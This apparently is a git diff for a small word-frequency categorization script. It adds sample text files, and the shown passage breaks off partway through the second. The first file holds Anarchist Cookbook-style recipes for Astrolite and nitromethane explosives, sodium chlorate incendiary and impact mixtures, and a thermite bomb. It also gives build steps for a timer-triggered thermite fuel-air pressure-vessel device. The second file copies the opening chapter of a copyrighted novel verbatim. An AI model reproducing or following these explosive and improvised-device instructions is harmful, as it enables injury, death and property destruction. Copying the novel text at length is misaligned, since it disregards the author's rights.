Astrolite G has remained detonatable for 4 days in the ground, even +when the soil was soaked due to rainy weather" know what that means?....Astrolite Dynamite! +To make (mix in fairly large container & outside) Two parts by weight of ammonium nitrate mixed with one part by weight 'anhydrous' +hydrazine, produces Astrolite G...Simple enough eh? I'm sure that the 2:1 ratio is not perfect, and that if you screw around with it long enough, +that you'll find a better formula. Also, dunno why the book says 'anhydrous' hydrazine, hydrazine is already anhydrous... +Hydrazine is the chemical you'll probably have the hardest time getting hold of. Uses for Hydrazine are: Rocket fuel, agricultural chemicals +(maleic hydra-zide), drugs (antibacterial and antihypertension), polymerization catalyst, plating metals on glass and plastics, solder fluxes, +photographic developers, diving equipment. Hydrazine is also the chemical you should be careful with. +Astrolite A/A-1-5 +Mix 20% (weight) aluminum powder to the ammonium nitrate, and then mix with hydrazine. The aluminum powder should be 100 mesh or finer. +Astrolite A has a detonation velocity of 7,800MPS. +Misc Info +You should be careful not to get any of the astrolite on you, if it happens though, you should flush the area with water. Astrolite A&G both +should be able to be detonated by a #8 blasting cap. +Sodium Chlorate Formulas +Sodium Chlorate is similar to potassium chlorate, and in most cases can be a substitute. Sodium chlorate is also more soluble in water. You can +find sodium chlorate at Channel or any hardware/home improvement store. It is used in blowtorches and you can get about 3 lbs for about +$6.00. +Sodium Chlorate Gunpowder + 65% Sodium Chlorate + 22% Charcoal + 13% Sulfur + Sprinkles of Graphite on top +Rocket Fuel + 6 parts Sodium Chlorate + 5 parts Rubber Cement + Mix *THOROUGHLY* +Rocket Fuel II +(Better Performance) + 50% Sodium Chlorate + 35% Rubber Cement ('One-Coat' brand) + 10% Epoxy Resin Hardener + 5% Sulfur +You may want to add more sodium chlorate depending on the purity you are using. +Incendiary Mixture + 55% Aluminum Powder (Atomized) + 45% Sodium Chlorate + 5% Sulfur +Impact Mixture + 50% Red Phosphorus + 50% Sodium Chlorate +Unlike potassium chlorate, sodium chlorate won't explode spontaneously when mixed with phosphorus. It has to be hit to be detonated. +Filler explosive + 85% Sodium Chlorate + 10% Vaseline + 5% Aluminum Powder +Nitromethane formulas +I thought that I might add this in since it's similar to Astrolite. + Nitromethane (CH3NO�) + Specific Gravity: 1.139 + Flash Point: 95�F + Auto-Ignite: 785�F +Derivation: Reaction of methane or propane with nitric acid under pressure. +Uses: Rocket fuel; solvent for cellulosic compounds, polymers, waxes, fats, etc. +To be detonated with a #8 cap, add: +1.95% nitromethane + 5% ethylenediamine +2.94% nitromethane + 6% aniline +Power output: 22-24% more powerful than TNT. Detonation velocity of 6,200MPS. +Nitromethane 'solid' explosives + 2 parts nitromethane + 5 parts ammonium nitrate (solid powder) +Soak for 3-5 min. When done, store in an air-tight container. This is supposed to be 30% more powerful than dynamite containing 60% nitroglycerin, +and has 30% more brilliance. +MERCURY BATTERY BOMB! +by Phucked Agent! +Materials: + 1 Mercury Battery (1 or 1.4 V Hearing Aid) + 1 working lamp with on/off switch +It is VERY SIMPLE!!! Hurray! Kids under 18 shouldn't consider trying this one or else they would have mercuric acid on their faces! +1.Turn the lamp switch on to see if lite-bulb lights up. +2.If work, leave the switch on and unplug the cord +3.Unscrew the bulb (Don't touch the hot-spot!) +4.Place 1 Mercury Battery in the socket and make sure that it is touching the Hot-spot contact. +5.Move any object or furniture - Why? There may be sparks given off! +6.Now your favorite part, stand back and plug in cord in the socket. +7.And you will have fun!! Like Real Party!!! +219.Thermite IV by Kilroy +DISCLAIMER : +The making and possession of the following devices and mixtures is probably illegal in most communities. The incendiaries are capable of +burning in excess of 5400�F and are next to impossible to extinguish. If you make them you accept all responsibility for their possession and +use. You also accept all responsibility for your own stupidity and carelessness. This information is intended solely to educate. All Formulas are +by Weight +Thermites are a group of pyrotechnics mixtures in which a reactive metal reduces oxygen from a metallic oxide. This produces a lot of heat, +slag and pure metal. The most common thermite is ferroaluminum thermite, made from aluminum (reactive metal) and iron oxide (metal oxide). +When it burns it produces aluminum oxide (slag) and pure iron. Thermite is usually used to cut or weld metal. As an experiment, a 3 lb. brick of +thermite was placed on an aluminum engine block. After the thermite was done burning, only a small portion of block was melted. However, the +block was very warped out of shape plus there were cracks all through the block. Ferro-thermite produces about 930 calories per gram The +usual proportions of ferro-thermite are 25% aluminum and 75% iron oxide The iron oxide usually used is not rust (Fe2O3) but iron scale +(Fe3O4). Rust will work but you may want to adjust the mixture to about 77% rust. The aluminum is usually coarse powder to help slow down +the burning rate. The chemicals are mixed together thoroughly and compressed into a suitable container. A first fire mix is poured on top and +ignited. +NOTE: Thermites are generally very safe to mix and store. They are not shock or friction sensitive and ignite at about 2000�F. +A first fire mix is a mixture that ignites easier than thermite and burns hot enough to light the thermite reliably. A very good one is : + Potassium Nitrate 5 parts + Fine ground Aluminum 3 parts + Sulfur 2 parts +Mix the above thoroughly and combine 2 parts of it with 1 part of finely powdered ferro-thermite. The resulting mixture can be light by safety +fuse and burns intensely. +One problem with thermites is the difference in weight between the aluminum and the oxide. This causes them to separate out rendering the +thermite useless. One way to fix this is to use a binder to hold the chemicals to each other. Sulfur is good for this. Called Diasite, this formula +uses sulfur to bind all the chemicals together. It's drawback is the thermite must be heated to melt the sulfur. + Iron Oxide 70 % + Aluminum 23 % + Sulfur 7 % +Mix the oxide and aluminum together and put them in an oven at 325�F and let the mix heat for a while. When the mixture is hot sprinkle the +sulfur over it and mix well. Put this back in the oven for a few minutes to melt all the sulfur. Pull it back out and mix it again. While it is still hot, +load into containers for use. When it cools, drill out the diasite to hold about 10 - 15 grams of first fire mix. When diasite burns it forms sulfide +compounds that release hydrogen sulfide when in contact with water. This rotten egg odor can hamper fire fighting efforts. Thermite can be +made not to separate by compressing it under a couple of tons pressure. The resulting pellet is strong and burns slower than thermite powder. +CAST THERMITE: This formula can be cast into molds or containers and hardens into a solid mass. It does not produce as much iron as regular +ferro-thermite, but it makes a slag which stays liquid a lot longer. Make a mixtures as follows. + Plaster of Paris 2 parts + Fine and Coarse Mixed Aluminum 2 parts + Iron Oxide 3 parts +Mix together well and add enough water to wet down plaster. Pour it into a mold and let it sit for hour. Pour off any extra water that +separates out on top. Let this dry in the sun for at least a week. Or dry in the sun for one day and put in a 250�F oven for a couple of hours. +Drill it out for a first fire mix when dry. +THERMITE BOMB: Thermite can be made to explode by taking the cast thermite formula and substituting fine powdered aluminum for the +coarse/fine mix. Take 15 grams of first fire mix and put in the center of a piece of aluminum foil. Insert a waterproof fuse into the mix and +gather up the foil around the fuse. Waterproof the foil/fuse with a thin coat of wax. Obtain a two-piece spherical mold with a diameter of about +4-5 inches. Wax or oil the inside of the mold to help release the thermite. Now, fill one half of the mold with the cast thermite. Put the first +fire/fuse package into the center of the filled mold. Fill the other half of the mold with the thermite and assemble mold. The mold will have to +have a hole in it for the fuse to stick out. In about an hour, carefully separate the mold. You should have a ball of thermite with the first fire mix +in the center of it, and the fuse sticking out of the ball. Dry the ball in the sun for about a week. DO NOT DRY IT IN AN OVEN! The fuse ignites +the first fire mix which in turn ignites the thermite. Since the thermite is ignited from the center out, the heat builds up in the thermite and it burns +faster than normal. The result is a small explosion. The thermite ball burns in a split second and throws molten iron and slag around. Use this +carefully ! +THERMITE WELL: To cut metal with thermite, take a refractory crucible and drill a 1/4 in. hole in the bottom. Epoxy a thin (20 gal) sheet of mild +steel over the hole. Allow the epoxy to dry. Fill the crucible with ferro-thermite and insert a first fire igniter in the thermite. Fashion a standoff to +the crucible. This should hold the crucible about 1 in. up. Place the well over your target and ignite the first fire. The well works this way. The +thermite burns, making slag and iron. Since the iron is heavier it goes to the bottom of the well. The molten iron burns through the metal sheet. +This produces a small delay which gives the iron and slag more time to separate fully. The molten iron drips out through the hole in the bottom +of the crucible. The standoff allows the thermite to continue flowing out of the crucible. The force of the dripping iron bores a hole in the target. +A 2 lb thermite well can penetrate up to 3/4 in. of steel. Experiment with different configurations to get maximum penetration. For a crucible, try +a flower pot coated with a magnesium oxide layer. Sometimes the pot cracks however. Take the cast thermite formula and add 50% ferrothermite +to it. This produces a fair amount of iron plus a very liquid slag. +THERMITE FUEL-AIR EXPLOSION: This is a very dangerous device. Ask yourself if you really truly want to make it before you do any work on +it. It is next to impossible to give any dimensions of containers or weights of charges because of the availability of parts changes from one +person to the next. However here is a general description of this device affectionately known as a HELLHOUND. +Make a thermite charge in a 1/8 in. wall pipe. This charge must be electrically ignited. At the opposite end of the pipe away from the ignitor side +put a small explosive charge of flash powder weighing about 1 oz Drill a small hole in a pipe end cap and run the wires from the ignitor through +the hole. Seal the wires and hole up with fuel proof epoxy or cement. Try ferrule cement available at sporting goods stores. Dope the threads +of the end caps with a good pipe dope and screw them onto the pipe. This gives you a thermite charge in an iron pipe arranged so that when +the thermite is electrically ignited, it will burn from one end to the other finally setting of the flash powder charge. Place this device in a larger +pipe or very stout metal container which is sealed at one end. Use a couple of metal "spiders" to keep the device away from the walls or ends +of the larger container. Run the wires out through the wall of the container and seal the wires with the fuel proof epoxy. Fill the container with +a volatile liquid fuel. Acetone or gasoline works great. Now seal up the container with an appropriate end cap and it is done. +The device works like this: Attach a timer-power supply to the wires. When the thermite is ignited it superheats the liquid fuel. Since the +container is strong enough to hold the pressure the fuel does not boil. When the thermite burns down to the explosive, it explodes rupturing the +container and releasing the superheated fuel. The fuel expands, cooling off and making a fine mist and vapor that mixes with the surrounding +air. The hot thermite slag is also thrown into the air which ignites the fuel-air mix. The result is obvious. Try about 1 lbs of thermite to a gallon +of fuel. For the pressure vessel, try an old pressure cooker. Because the fuel may dissolve the epoxy don't keep this device around for very +long. But ask yourself, do you really want to make this? +EXOTIC THERMITES: Thermites can also be made from teflon-magnesium or metal fluorides-magnesium or aluminum. If there is an excess of +fluoride compound in the mixture, fluorine gas can be released. Fluorine is extremely corrosive and reactive. The gas can cause organic +material to burst into flames by mere contact. For teflon-magnesium use 67% teflon and 33% magnesium. A strong first fire igniter should be +used to ignite this mixture. Both the teflon and the magnesium should be in powdered form. Do not inhale any smoke from the burning mixture. If +you use metal-fluorides instead of teflon, use fluorides of low energy metals. Lead fluoride is a good example. Try using 90% lead fluoride and +10% aluminum. Warning: Fluoride compounds can be very poisonous. They are approximately equal to cyanide compounds. Another exotic mix +is tricalcium orthophosphate and aluminum. When this burns, it forms calcium phosphide which when contacts water releases hydrogen +phosphide which can ignite spontaneously in air. Tricalcium orthophosphate has the formula Ca3(PO4)2 and is known as white-lockite. Use +about 75% orthophosphate and 25% aluminum. This ratio may have to be altered for better burning as I have not experimented with it much and +don't know if more aluminum may reduce the calcium better. It does work but it is a hard to ignite mixture. A first fire mix containing a few +percent of magnesium works well. +Fighting thermite fires: Two ways to fight thermite fires are either smothering the thermite with sand. This doesn't put out the thermite but it +does help contain it and block some of the heat. The other way is to flood the thermite with a great amount of water. This helps to break the +thermite apart and stop the reaction. If you use a small amount of water, an explosion may result as the thermite may reduce the water and +release hydrogen gas. Thermite can start fires from the heat radiating from the reaction. Nearby flammable substances can catch fire even +though no sparks or flame touch them. diff --git a/categorization.py b/categorization.py new file mode 100644 index 0000000..4cd085b --- /dev/null +++ b/categorization.py @@ -0,0 +1,55 @@ +import collections + +# this script was adapted from: +# https://towardsdatascience.com/very-simple-python-script-for-extracting-most-common-words-from-a-story-1e3570d0b9d0 + +# open and read file +file = open(input("\nFile you want to categorize is: \n"), encoding="utf8") +a = file.read() + +# my stopwords are common words I don't want to count, like "a", "an", "the". +stopwords = set(line.strip() for line in open('stopwords.txt')) + +# dictionary +wordcount = {} + +# spliting words from punctuation so "book" and "book!" counts as the same word +for word in a.lower().split(): + word = word.replace(".","") + word = word.replace(",","") + word = word.replace(":","") + word = word.replace("\"","") + word = word.replace("!","") + word = word.replace("“","") + word = word.replace("‘","") + word = word.replace("*","") + +# counting + if word not in stopwords: + if word not in wordcount: + wordcount[word] = 1 + else: + wordcount[word] += 1 + +# print x most common words +# n_print = int(input("How many most common words to print: ")) +n_print = int(3) +print("\nMost common words are:") +word_counter = collections.Counter(wordcount) +for word, count in word_counter.most_common(n_print): + print(word,"—", count) + +# categories + +# words that are inside the category Library Studies +library_studies = set(line.strip() for line in open('library_studies.txt')) + +for word, count in word_counter.most_common(n_print): + if word in library_studies: + print("\nWe suggest the following categorization for this file:\nLibrary Studies\n") + break +else: + print("\nWe don't have any suggestion of categorization for this file.\n") + +# Close the file +file.close() diff --git a/example.png b/example.png new file mode 100644 index 0000000..9fcfca2 Binary files /dev/null and b/example.png differ diff --git a/fifty_shades.txt b/fifty_shades.txt new file mode 100644 index 0000000..896c2f6 --- /dev/null +++ b/fifty_shades.txt @@ -0,0 +1,21673 @@ +For Niall + +the master of my universe + + + +Acknowledgements + + + +I am indebted to the following people for their help and support: + +To my husband Niall - thank you for tolerating my obsession, being a domestic god and doing +the first edit. + +To my boss Lisa - thank you for putting up with me over the last year or so while I indulged in +this madness. + +To CCL - I’ll never tell but thank you. + +To the original bunker babes - thank you for your friendship and constant support. + +To SR - thank you for all the helpful advice from the start and for going first. + +To Sue - thanks for sorting me out. + + +To Amanda and all at TWCS - thank you for taking a punt. + + +Chapter One + + +I scowl with frustration at myself in the mirror. Damn my hair - it just won’t behave, +and damn Katherine Kavanagh for being ill and subjecting me to this ordeal. I should be +studying for my final exams, which are next week, yet here I am trying to brush my hair +into submission. I must not sleep with it wet. I must not sleep with it wet. Reciting this +mantra several times, I attempt, once more, to bring it under control with the brush. I roll +my eyes in exasperation and gaze at the pale, brown-haired girl with blue eyes too big for +her face staring back at me, and give up. My only option is to restrain my wayward hair in +a ponytail and hope that I look semi presentable. + +Kate is my roommate, and she has chosen today of all days to succumb to the flu. +Therefore, she cannot attend the interview she’d arranged to do, with some mega-industri- +alist tycoon I’ve never heard of, for the student newspaper. So I have been volunteered. I +have final exams to cram for, one essay to finish, and I’m supposed to be working this af- +ternoon, but no - today I have to drive a hundred and sixty-five miles to downtown Seattle +in order to meet the enigmatic CEO of Grey Enterprises Holdings Inc. As an exceptional +entrepreneur and major benefactor of our University, his time is extraordinarily precious +- much more precious than mine - but he has granted Kate an interview. A real coup, she +tells me. Damn her extra-curricular activities. + +Kate is huddled on the couch in the living room. + + +“Ana, I’m sorry. It took me nine months to get this interview. It will take another +six to reschedule, and we’ll both have graduated by then. As the editor, I can’t blow this +off. Please,” Kate begs me in her rasping, sore throat voice. How does she do it? Even +ill she looks gamine and gorgeous, strawberry blonde hair in place and green eyes bright, +although now red-rimmed and runny. I ignore my pang of unwelcome sympathy. + +“Of course I’ll go Kate. You should get back to bed. Would you like some Nyquil or +Tylenol?” + +“Nyquil, please. Here are the questions and my mini-disc recorder. Just press record +here. Make notes, I’ll transcribe it all.” + +“I know nothing about him,” I murmur, trying and failing to suppress my rising panic. + +“The questions will see you through. Go. It’s a long drive. I don’t want you to be late.” + +“Okay, I’m going. Get back to bed. I made you some soup to heat up later.” I stare at +her fondly. Only for you, Kate, would I do this. + +“I will. Good luck. And thanks Ana - as usual, you’re my lifesaver.” + +Gathering my satchel, I smile wryly at her, then head out the door to the car. I can- +not believe I have let Kate talk me into this. But then Kate can talk anyone into anything. +She’ll make an exceptional journalist. She’s articulate, strong, persuasive, argumentative, +beautiful - and she’s my dearest, dearest friend. + + +The roads are clear as I set off from Vancouver, WA toward Portland and the 1-5. It’s early, +and I don’t have to be in Seattle until two this afternoon. Fortunately, Kate’s lent me her +sporty Mercedes CLK. I’m not sure Wanda, my old VW Beetle, would make the journey in +time. Oh, the Merc is a fun drive, and the miles slip away as I floor the pedal to the metal. + +My destination is the headquarters of Mr. Grey’s global enterprise. It’s a huge twenty- +story office building, all curved glass and steel, an architect’s utilitarian fantasy, with Grey +House written discreetly in steel over the glass front doors. It’s a quarter to two when I +arrive, greatly relieved that I’m not late as I walk into the enormous - and frankly intimi- +dating - glass, steel, and white sandstone lobby. + +Behind the solid sandstone desk, a very attractive, groomed, blonde young woman +smiles pleasantly at me. She’s wearing the sharpest charcoal suit jacket and white shirt I +have ever seen. She looks immaculate. + +“I’m here to see Mr. Grey. Anastasia Steele for Katherine Kavanagh.” + +“Excuse me one moment, Miss Steele.” She arches her eyebrow slightly as I stand self- +consciously before her. I am beginning to wish I’d borrowed one of Kate’s formal blazers +rather than wear my navy blue jacket. I have made an effort and worn my one and only +skirt, my sensible brown knee-length boots and a blue sweater. For me, this is smart. I tuck +one of the escaped tendrils of my hair behind my ear as I pretend she doesn’t intimidate me. + +“Miss Kavanagh is expected. Please sign in here, Miss Steele. You’ll want the last +elevator on the right, press for the twentieth floor.” She smiles kindly at me, amused no +doubt, as I sign in. + +She hands me a security pass that has VISITOR very firmly stamped on the front. I +can’t help my smirk. Surely it’s obvious that I’m just visiting. I don’t fit in here at all. + +Nothing changes, I inwardly sigh. Thanking her, I walk over to the bank of elevators past + + +the two security men who are both far more smartly dressed than I am in their well-cut +black suits. + +The elevator whisks me with terminal velocity to the twentieth floor. The doors slide +open, and I’m in another large lobby - again all glass, steel, and white sandstone. I’m +confronted by another desk of sandstone and another young blonde woman dressed impec- +cably in black and white who rises to greet me. + +“Miss Steele, could you wait here, please?” She points to a seated area of white leather +chairs. + +Behind the leather chairs is a spacious glass-walled meeting room with an equally spa- +cious dark wood table and at least twenty matching chairs around it. Beyond that, there is +a floor-to-ceiling window with a view of the Seattle skyline that looks out through the city +toward the Sound. It’s a stunning vista, and I’m momentarily paralyzed by the view. Wow. + +I sit down, fish the questions from my satchel, and go through them, inwardly curs- +ing Kate for not providing me with a brief biography. I know nothing about this man I’m +about to interview. He could be ninety or he could be thirty. The uncertainty is galling, +and my nerves resurface, making me fidget. I’ve never been comfortable with one-on-one +interviews, preferring the anonymity of a group discussion where I can sit inconspicuously +at the back of the room. To be honest, I prefer my own company, reading a classic British +novel, curled up in a chair in the campus library. Not sitting twitching nervously in a colos- +sal glass and stone edifice. + +I roll my eyes at myself. Get a grip, Steele. Judging from the building, which is too +clinical and modern, I guess Grey is in his forties: fit, tanned, and fair-haired to match the +rest of the personnel. + +Another elegant, flawlessly dressed blonde comes out of a large door to the right. What +is it with all the immaculate blondes? It’s like Stepford here. Taking a deep breath, I stand +up. + +“Miss Steele?” the latest blonde asks. + +“Yes,” I croak, and clear my throat. “Yes.” There, that sounded more confident. + +“Mr. Grey will see you in a moment. May I take your jacket?” + +“Oh please.” I struggle out of the jacket. + +“Have you been offered any refreshment?” + +“Urn - no.” Oh dear, is Blonde Number One in trouble? + +Blonde Number Two frowns and eyes the young woman at the desk. + +“Would you like tea, coffee, water?” she asks, turning her attention back to me. + +“A glass of water. Thank you,” I murmur. + +“Olivia, please fetch Miss Steele a glass of water.” Her voice is stern. Olivia scoots up +immediately and scurries to a door on the other side of the foyer. + +“My apologies, Miss Steele, Olivia is our new intern. Please be seated. Mr. Grey will +be another five minutes.” + +Olivia returns with a glass of iced water. + +“Here you go, Miss Steele.” + +“Thank you.” + +Blonde Number Two marches over to the large desk, her heels clicking and echoing on +the sandstone floor. She sits down, and they both continue their work. + + +Perhaps Mr. Grey insists on all his employees being blonde. I’m wondering idly if +that’s legal, when the office door opens and a tall, elegantly dressed, attractive African- +American man with short dreads exits. I have definitely worn the wrong clothes. + +He turns and says through the door. “Golf, this week, Grey.” + +I don’t hear the reply. He turns, sees me, and smiles, his dark eyes crinkling at the +corners. Olivia has jumped up and called the elevator. She seems to excel at jumping from +her seat. She’s more nervous than me! + +“Good afternoon ladies,” he says as he departs through the sliding door. + +“Mr. Grey will see you now, Miss Steele. Do go through,” Blonde Number Two says. + +I stand rather shakily trying to suppress my nerves. Gathering up my satchel, I abandon my +glass of water and make my way to the partially open door. + +“You don’t need to knock - just go in.” She smiles kindly. + +I push open the door and stumble through, tripping over my own feet, and falling head +first into the office. + +Double crap - me and my two left feet! I am on my hands and knees in the doorway +to Mr. Grey’s office, and gentle hands are around me helping me to stand. I am so em- +barrassed, damn my clumsiness. I have to steel myself to glance up. Holy cow - he’s so +young. + +“Miss Kavanagh.” He extends a long-fingered hand to me once I’m upright. “I’m +Christian Grey. Are you all right? Would you like to sit?” + +So young - and attractive, very attractive. He’s tall, dressed in a fine gray suit, white +shirt, and black tie with unruly dark copper colored hair and intense, bright gray eyes that +regard me shrewdly. It takes a moment for me to find my voice. + +“Urn. Actually-” I mutter. If this guy is over thirty then I’m a monkey’s uncle. In a +daze, I place my hand in his and we shake. As our fingers touch, I feel an odd exhilarating +shiver run through me. I withdraw my hand hastily, embarrassed. Must be static. I blink +rapidly, my eyelids matching my heart rate. + +“Miss Kavanagh is indisposed, so she sent me. I hope you don’t mind, Mr. Grey.” + +“And you are?” His voice is warm, possibly amused, but it’s difficult to tell from his +impassive expression. He looks mildly interested, but above all, polite. + +“Anastasia Steele. I’m studying English Literature with Kate, urn... Katherine... +urn... Miss Kavanagh at Washington State.” + +“I see,” he says simply. I think I see the ghost of a smile in his expression, but I’m not + +sure. + +“Would you like to sit?” He waves me toward a white leather buttoned L-shaped couch. + +His office is way too big for just one man. In front of the floor-to-ceiling windows, +there’s a huge modern dark-wood desk that six people could comfortably eat around. It +matches the coffee table by the couch. Everything else is white - ceiling, floors, and walls +except, on the wall by the door, where a mosaic of small paintings hang, thirty-six of them +arranged in a square. They are exquisite - a series of mundane, forgotten objects painted in +such precise detail they look like photographs. Displayed together, they are breathtaking. + +“A local artist. Trouton,” says Grey when he catches my gaze. + +“They’re lovely. Raising the ordinary to extraordinary,” I murmur, distracted both by +him and the paintings. He cocks his head to one side and regards me intently. + + +“I couldn’t agree more, Miss Steele,” he replies, his voice soft and for some inexpli- +cable reason I find myself blushing. + +Apart from the paintings, the rest of the office is cold, clean, and clinical. I wonder if +it reflects the personality of the Adonis who sinks gracefully into one of the white leather +chairs opposite me. I shake my head, disturbed at the direction of my thoughts, and retrieve +Kate’s questions from my satchel. Next, I set up the mini-disc recorder and am all fingers +and thumbs, dropping it twice on the coffee table in front of me. Mr. Grey says nothing, +waiting patiently - I hope - as I become increasingly embarrassed and flustered. When I +pluck up the courage to look at him, he’s watching me, one hand relaxed in his lap and the +other cupping his chin and trailing his long index finger across his lips. I think he’s trying +to suppress a smile. + +“Sorry,” I stutter. “I’m not used to this.” + +“Take all the time you need, Miss Steele,” he says. + +“Do you mind if I record your answers?” + +“After you’ve taken so much trouble to set up the recorder - you ask me now?” + +I flush. He’s teasing me? I hope. I blink at him, unsure what to say, and I think he +takes pity on me because he relents. “No, I don’t mind.” + +“Did Kate, I mean, Miss Kavanagh, explain what the interview was for?” + +“Yes. To appear in the graduation issue of the student newspaper as I shall be confer- +ring the degrees at this year’s graduation ceremony.” + +Oh! This is news to me, and I’m temporarily pre-occupied by the thought that some- +one not much older than me - okay, maybe six years or so, and okay, mega successful, but +still - is going to present me with my degree. I frown, dragging my wayward attention +back to the task at hand. + +“Good,” I swallow nervously. “I have some questions, Mr. Grey.” I smooth a stray +lock of hair behind my ear. + +“I thought you might,” he says, deadpan. He’s laughing at me. My cheeks heat at the +realization, and I sit up and square my shoulders in an attempt to look taller and more in- +timidating. Pressing the start button on the recorder, I try to look professional. + +“You’re very young to have amassed such an empire. To what do you owe your suc- +cess?” I glance up at him. His smile is rueful, but he looks vaguely disappointed. + +“Business is all about people, Miss Steele, and I’m very good at judging people. I +know how they tick, what makes them flourish, what doesn’t, what inspires them, and how +to incentivize them. I employ an exceptional team, and I reward them well.” He pauses +and fixes me with his gray stare. “My belief is to achieve success in any scheme one has +to make oneself master of that scheme, know it inside and out, know every detail. I work +hard, very hard to do that. I make decisions based on logic and facts. I have a natural gut +instinct that can spot and nurture a good solid idea and good people. The bottom line is, +it’s always down to good people.” + +“Maybe you’re just lucky.” This isn’t on Kate’s list - but he’s so arrogant. His eyes +flare momentarily in surprise. + +“I don’t subscribe to luck or chance, Miss Steele. The harder I work the more luck I +seem to have. It really is all about having the right people on your team and directing their + + +energies accordingly. I think it was Harvey Firestone who said ‘the growth and develop- +ment of people is the highest calling of leadership.’” + +“You sound like a control freak.” The words are out of my mouth before I can stop +them. + +“Oh, I exercise control in all things, Miss Steele,” he says without a trace of humor in +his smile. I look at him, and he holds my gaze steadily, impassive. My heartbeat quickens, +and my face flushes again. + +Why does he have such an unnerving effect on me? His overwhelming good-looks +maybe? The way his eyes blaze at me? The way he strokes his index finger against his +lower lip? I wish he’d stop doing that. + +“Besides, immense power is acquired by assuring yourself in your secret reveries that +you were born to control things,” he continues, his voice soft. + +“Do you feel that you have immense power?” Control Freak. + +“I employ over forty thousand people, Miss Steele. That gives me a certain sense of +responsibility - power, if you will. If I were to decide I was no longer interested in the +telecommunications business and sell up, twenty thousand people would struggle to make +their mortgage payments after a month or so.” + +My mouth drops open. I am staggered by his lack of humility. + +“Don’t you have a board to answer to?” I ask, disgusted. + +“I own my company. I don’t have to answer to a board.” He raises an eyebrow at me. + +I flush. Of course, I would know this if I had done some research. But holy crap, he’s so +arrogant. I change tack. + +“And do you have any interests outside your work?” + +“I have varied interests, Miss Steele.” A ghost of a smile touches his lips. “Very var- +ied.” And for some reason, I’m confounded and heated by his steady gaze. His eyes are +alight with some wicked thought. + +“But if you work so hard, what do you do to chill out?” + +“Chill out?” He smiles, revealing perfect white teeth. I stop breathing. He really is +beautiful. No one should be this good-looking. + +“Well, to ‘chill out’ as you put it - I sail, I fly, I indulge in various physical pursuits.” + +He shifts in his chair. “I’m a very wealthy man, Miss Steele, and I have expensive and +absorbing hobbies.” + +I glance quickly at Kate’s questions, wanting to get off this subject. + +“You invest in manufacturing. Why, specifically?” I ask. Why does he make me so +uncomfortable? + +“I like to build things. I like to know how things work: what makes things tick, how to +construct and deconstruct. And I have a love of ships. What can I say?” + +“That sounds like your heart talking rather than logic and facts.” + +His mouth quirks up, and he stares appraisingly at me. + +“Possibly. Though there are people who’d say I don’t have a heart.” + +“Why would they say that?” + +“Because they know me well.” His lip curls in a wry smile. + +“Would your friends say you’re easy to get to know?” And I regret the question as soon +as I say it. It’s not on Kate’s list. + + +“I’m a very private person, Miss Steele. I go a long way to protect my privacy. I don’t +often give interviews,” he trails off. + +“Why did you agree to do this one?” + +“Because I’m a benefactor of the University, and for all intents and purposes, I couldn’t +get Miss Kavanagh off my back. She badgered and badgered my PR people, and I admire +that kind of tenacity.” + +I know how tenacious Kate can be. That’s why I’m sitting here squirming uncomfort- +ably under his penetrating gaze, when I should be studying for my exams. + +“You also invest in farming technologies. Why are you interested in this area?” + +“We can’t eat money, Miss Steele, and there are too many people on this planet who +don’t have enough to eat.” + +“That sounds very philanthropic. Is it something you feel passionately about? Feeding +the world’s poor?” + +He shrugs, very non-committal. + +“It’s shrewd business,” he murmurs, though I think he’s being disingenuous. It doesn’t +make sense - feeding the world’s poor? I can’t see the financial benefits of this, only the +virtue of the ideal. I glance at the next question, confused by his attitude. + +“Do you have a philosophy? If so, what is it?” + +“I don’t have a philosophy as such. Maybe a guiding principle - Carnegie’s: ‘A man +who acquires the ability to take full possession of his own mind may take possession of +anything else to which he is justly entitled.’ I’m very singular, driven. I like control - of +myself and those around me.” + +“So you want to possess things?” You are a control freak. + +“I want to deserve to possess them, but yes, bottom line, I do.” + +“You sound like the ultimate consumer.” + +“I am.” He smiles, but the smile doesn’t touch his eyes. Again this is at odds with +someone who wants to feed the world, so I can’t help thinking that we’re talking about +something else, but I’m absolutely mystified as to what it is. I swallow hard. The tempera- +ture in the room is rising or maybe it’s just me. I just want this interview to be over. Surely +Kate has enough material now? I glance at the next question. + +“You were adopted. How far do you think that’s shaped the way you are?” Oh, this is +personal. I stare at him, hoping he’s not offended. His brow furrows. + +“I have no way of knowing.” + +My interest is piqued. + +“How old were you when you were adopted?” + +“That’s a matter of public record, Miss Steele.” His tone is stern. I flush, again. Crap. +Yes of course - if I’d known I was doing this interview, I would have done some research. + +I move on quickly. + +“You’ve had to sacrifice a family life for your work.” + +“That’s not a question.” He’s terse. + +“Sorry.” I squirm, and he’s made me feel like an errant child. I try again. “Have you +had to sacrifice a family life for your work?” + +“I have a family. I have a brother and a sister and two loving parents. I’m not inter- +ested in extending my family beyond that.” + + +“Are you gay, Mr. Grey?” + +He inhales sharply, and I cringe, mortified. Crap. Why didn’t I employ some kind +of filter before I read this straight out? How can I tell him I’m just reading the questions? +Damn Kate and her curiosity! + +“No Anastasia, I’m not.” He raises his eyebrows, a cool gleam in his eyes. He does +not look pleased. + +“I apologize. It’s urn... written here.” It’s the first time he’s said my name. My heart- +beat has accelerated, and my cheeks are heating up again. Nervously, I tuck my loosened +hair behind my ear. + +He cocks his head to one side. + +“These aren’t your own questions?” + +The blood drains from my head. Oh no. + +“Err... no. Kate - Miss Kavanagh - she compiled the questions.” + +“Are you colleagues on the student paper?” Oh crap. I have nothing to do with the +student paper. It’s her extra-curricular activity, not mine. My face is aflame. + +“No. She’s my roommate.” + +He rubs his chin in quiet deliberation, his gray eyes appraising me. + +“Did you volunteer to do this interview?” he asks, his voice deadly quiet. + +Hang on, who’s supposed to be interviewing whom? His eyes burn into me, and I’m +compelled to answer with the truth. + +“I was drafted. She’s not well.” My voice is weak and apologetic. + +“That explains a great deal.” + +There’s a knock at the door, and Blonde Number Two enters. + +“Mr. Grey, forgive me for interrupting, but your next meeting is in two minutes.” + +“We’re not finished here, Andrea. Please cancel my next meeting.” + +Andrea hesitates, gaping at him. She’s appears lost. He turns his head slowly to face +her and raises his eyebrows. She flushes bright pink. Oh good. It’s not just me. + +“Very well, Mr. Grey,” she mutters, then exits. He frowns, and turns his attention back +to me. + +“Where were we, Miss Steele?” + +Oh, we’re back to ‘Miss Steele’ now. + +“Please don’t let me keep you from anything.” + +“I want to know about you. I think that’s only fair.” His gray eyes are alight with cu- +riosity. Double crap. Where’s he going with this? He places his elbows on the arms of +the chair and steeples his fingers in front of his mouth. His mouth is very... distracting. I +swallow. + +“There’s not much to know,” I say, flushing again. + +“What are your plans after you graduate?” + +I shrug, thrown by his interest. Come to Seattle with Kate, find a place, find a job. I +haven’t 